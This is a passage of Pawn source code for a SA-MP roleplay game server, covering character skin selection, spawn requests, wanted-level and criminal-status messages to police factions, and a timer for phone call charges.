	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 96:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 176);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 176;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 97:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 177);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 177;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 98:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 179);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 179;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 99:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 180);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 180;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 100:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 181);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 181;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 101:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 182);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 182;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 102:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 183);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 183;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 103:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 184);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 184;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 104:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 189);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 189;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 105:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 191);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 191;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 106:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 193);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 193;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 107:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 196);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 196;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 108:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 197);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 197;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 109:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 198);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 198;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 110:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 200);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 200;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 111:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 201);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 201;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 112:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 202);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 202;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 113:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 209);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 209;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 114:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 210);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 210;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 115:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 212);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 212;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 116:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 215);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 215;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 117:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 220);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 220;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 118:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 221);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 221;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 119:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 222);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 222;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 120:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 224);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 224;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 121:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 229);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 229;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 122:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 230);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 230;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 123:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 231);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 231;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 124:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 232);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 232;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 125:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 234);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 234;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 126:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 235);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 235;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 127:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 236);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 236;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 128:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 239);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 239;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 129:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 241);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 241;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 130:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 242);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 242;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 131:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 254);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 254;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 132:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 258);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 258;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 133:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 260);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 260;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 134:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 262);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 262;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 135:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 264);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 264;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 136:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 273);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 273;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 137:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 293);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 293;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 138:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 297);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 297;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	case 139:
	{
	SetPlayerPos(playerid, 1180.3374, -1181.2975, 90.8448);
 SetPlayerCameraPos(playerid, 1181.9352, -1171.7822, 93.9659);
	SetPlayerCameraLookAt(playerid, 1181.6385, -1172.7347, 93.6807);
	SetPlayerSkin(playerid, 299);
	LoopingAnim(playerid, "DANCING", "DNCE_M_B", 4.0, 1, 0, 0, 0, 0);
	PlayerInfo[playerid][cSkin] = 299;
	SetPlayerFacingAngle( playerid, 0 ); SetPlayerVirtualWorld(playerid, 2);
	}
	}

	//SaveKonVal(playerid, "cSkin", PINFO[playerid][cSkin]);
	}
	}
	return 1;
}*/

public OnPlayerRequestSpawn(playerid)
{
if(FCNPC_IsValid(playerid)) return 1;
	if(gPlayerLogged[playerid] != 1) {return 0;}
	MedicBill[playerid] = 0;
	PlayerFahmid[playerid] = 0;
	return 1;
}

public SetPlayerCriminal(playerid, declare, reason[], WantedBealave)
{
	if(IsPlayerConnected(playerid))
	{
	   PlayerInfo[playerid][pCrimes] += 1;
	   SaveKonVal(playerid, "pCrimes", PINFO[playerid][pCrimes]);
	   new points = GetPlayerWantedLevel(playerid);
	   new turned[MAX_PLAYER_NAME];
	   new turner[MAX_PLAYER_NAME];
	   new turnmes[128];
	   new wantedmes[128];
	   GetPlayerName(playerid, turned, sizeof(turned));
	   if(declare != INVALID_PLAYER_ID)
	   {
		  GetPlayerName(declare,turner,sizeof turner);
	   }
	   else
	   {
		  turner = "Unknown";
	   }
	   format(turnmes, sizeof(turnmes), "You've commited a crime (%s). W: +%d, Reporter: %s.",reason,WantedBealave,turner);
	   SendMessage(playerid, COLOR_LIGHTRED, turnmes);
	   if(points > -1)
	   {
		  new yesno = 1;
		  if(points > 6) yesno = 0;
		  if(yesno == 1)
		  {
			 format(wantedmes, sizeof(wantedmes), "Current Wanted Level: %d", points);
			 SendMessage(playerid, COLOR_YELLOW, wantedmes);
					   format(cbjstore, sizeof(turnmes), "[Dep-Warn]: {0069FF}%s reported %s, reason: %s",turner, turned, reason);
					   SendFamilyMessage(1, COLOR_BLUE, cbjstore);
					   SendFamilyMessage(2, COLOR_BLUE, cbjstore);
					   SendFamilyMessage(3, COLOR_BLUE, cbjstore);
				/*
	if(PlayerInfo[playerid][pWanted] == 0) {

	Delete3DTextLabel(w1[playerid]);
	Delete3DTextLabel(w2[playerid]);
	Delete3DTextLabel(w3[playerid]);
	Delete3DTextLabel(w4[playerid]);
	Delete3DTextLabel(w5[playerid]);
	Delete3DTextLabel(w6[playerid]);
	}

	else if(PlayerInfo[playerid][pWanted] == 1) {

	new Text3D:w1[MAX_PLAYERS] = Create3DTextLabel("Wanted : 1", 0xAA3333FF, 30.0, 40.0, 50.0, 40.0, 0);
	Attach3DTextLabelToPlayer(w1[playerid], playerid, 0.0, 0.0, 0.7);

	}

	else if(PlayerInfo[playerid][pWanted] == 2) {

	new Text3D:w2[MAX_PLAYERS] = Create3DTextLabel("Wanted : 2", 0xAA3333FF, 30.0, 40.0, 50.0, 40.0, 0);
	Attach3DTextLabelToPlayer(w2[playerid], playerid, 0.0, 0.0, 0.7);

	}

	else if(PlayerInfo[playerid][pWanted] == 3) {

	new Text3D:w3[MAX_PLAYERS] = Create3DTextLabel("Wanted : 3", 0xAA3333FF, 30.0, 40.0, 50.0, 40.0, 0);
	Attach3DTextLabelToPlayer(w3[playerid], playerid, 0.0, 0.0, 0.7);

	}


	else if(PlayerInfo[playerid][pWanted] == 4) {

	new Text3D:w4[MAX_PLAYERS] = Create3DTextLabel("Wanted : 4", 0xAA3333FF, 30.0, 40.0, 50.0, 40.0, 0);
	Attach3DTextLabelToPlayer(w4[playerid], playerid, 0.0, 0.0, 0.7);

	}

	else if(PlayerInfo[playerid][pWanted] == 5) {

	new Text3D:w5[MAX_PLAYERS] = Create3DTextLabel("Wanted : 5", 0xAA3333FF, 30.0, 40.0, 50.0, 40.0, 0);
	Attach3DTextLabelToPlayer(w5[playerid], playerid, 0.0, 0.0, 0.7);

	}

	else if(PlayerInfo[playerid][pWanted] == 6) {

	new Text3D:w6[MAX_PLAYERS] = Create3DTextLabel("Wanted : 6", 0xAA3333FF, 30.0, 40.0, 50.0, 40.0, 0);
	Attach3DTextLabelToPlayer(w6[playerid], playerid, 0.0, 0.0, 0.7);

	}
	*/
		  }
	   }
	}//not connected
}
//---------------------------------------------------------

public SetPlayerFree(playerid,declare,reason[])
{
	if(IsPlayerConnected(playerid))
	{
	   new turned[MAX_PLAYER_NAME];
	   new turner[MAX_PLAYER_NAME];
	   new turnmes[128];
	   new crbjstore[128];
	   if (declare == 255)
	   {
		  format(turner, sizeof(turner), "911");
	   }
	   else
	   {
		  if(IsPlayerConnected(declare))
		  {
			 GetPlayerName(declare, turner, sizeof(turner));
		  }
	   }
	   GetPlayerName(playerid, turned, sizeof(turned));
	   format(turnmes, sizeof(turnmes), "SMS: %s, Because you %s, you are no longer a Criminal, Sender: MOLE (555)",turned,reason);
	   SendMessage(playerid, COLOR_YELLOW, turnmes);
	   for(new i = 0; i < Akharish; i++)
	   {
		  if(IsPlayerConnected(i))
		  {
			 if(PlayerInfo[i][pMember] == 1||PlayerInfo[i][pLeader] == 1)
			 {
				format(crbjstore, sizeof(crbjstore), "[Dep-Warn]: {0069FF}%s %s has completed assignment.",GetPlayerRank(declare),turner);
				SendFamilyMessage(1, COLOR_BLUE, crbjstore);
				SendFamilyMessage(2, COLOR_BLUE, crbjstore);
				SendFamilyMessage(3, COLOR_BLUE, crbjstore);
				format(crbjstore, sizeof(crbjstore), "[Dep-Warn]: {0069FF}%s has been orocessed, %s",turned,reason);
				SendFamilyMessage(1, COLOR_BLUE, crbjstore);
				SendFamilyMessage(2, COLOR_BLUE, crbjstore);
				SendFamilyMessage(3, COLOR_BLUE, crbjstore);
			/*
			Delete3DTextLabel(w1[declare]);
			Delete3DTextLabel(w2[declare]);
			Delete3DTextLabel(w3[declare]);
			Delete3DTextLabel(w4[declare]);
			Delete3DTextLabel(w5[declare]);
			Delete3DTextLabel(w6[declare]);

			*/
			 }
		  }
	   }
	}
}

/*--------------------------------**PD**--------------------------------*/
/*Developer*/
public OtherTimer()
{
	new string[256];
	reportsc = 0;
	helpmesc = 0;
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
			{
			if(Reported[i] == INVALID_PLAYER_ID-1)
			{
				reportsc++;
			}
			if(IsPlayerConnected(i) && Helpme[i] == INVALID_PLAYER_ID-1)
			{
				helpmesc++;
			}
		  if(CellTime[i] != 90)
		  {
			 CellTime[i] ++;
			 if (CellTime[i] >= cchargetime)
			 {
				CellTime[i] = 0;
				if(Mobile[i] != 9999)
				{
					if(Mobile[Mobile[i]] == i)
					{
					   CallCost[i] += SBizzInfo[14][sbEntranceCost];
					}
					else
					{
					   SendMessage(i,  COLOR_PURPLE, "The line just went dead.");
					   SetPlayerSpecialAction(i, SPECIAL_ACTION_STOPUSECELLPHONE);
					   RemovePlayerAttachedObject(i, 0);
					   CellTime[i] = 90;
					   CellTime[Mobile[i]] = 90;
					   Mobile[Mobile[i]] = 9999;
					   TimerRingTone[Mobile[i]] = 0;
					   CallWaiting[Mobile[i]] = 9999;
					   Mobile[i] = 9999;
					   PlayerInfo[i][pSpeaker] = 0;//Nemikhad save she
					}
				}
			 }
		  }
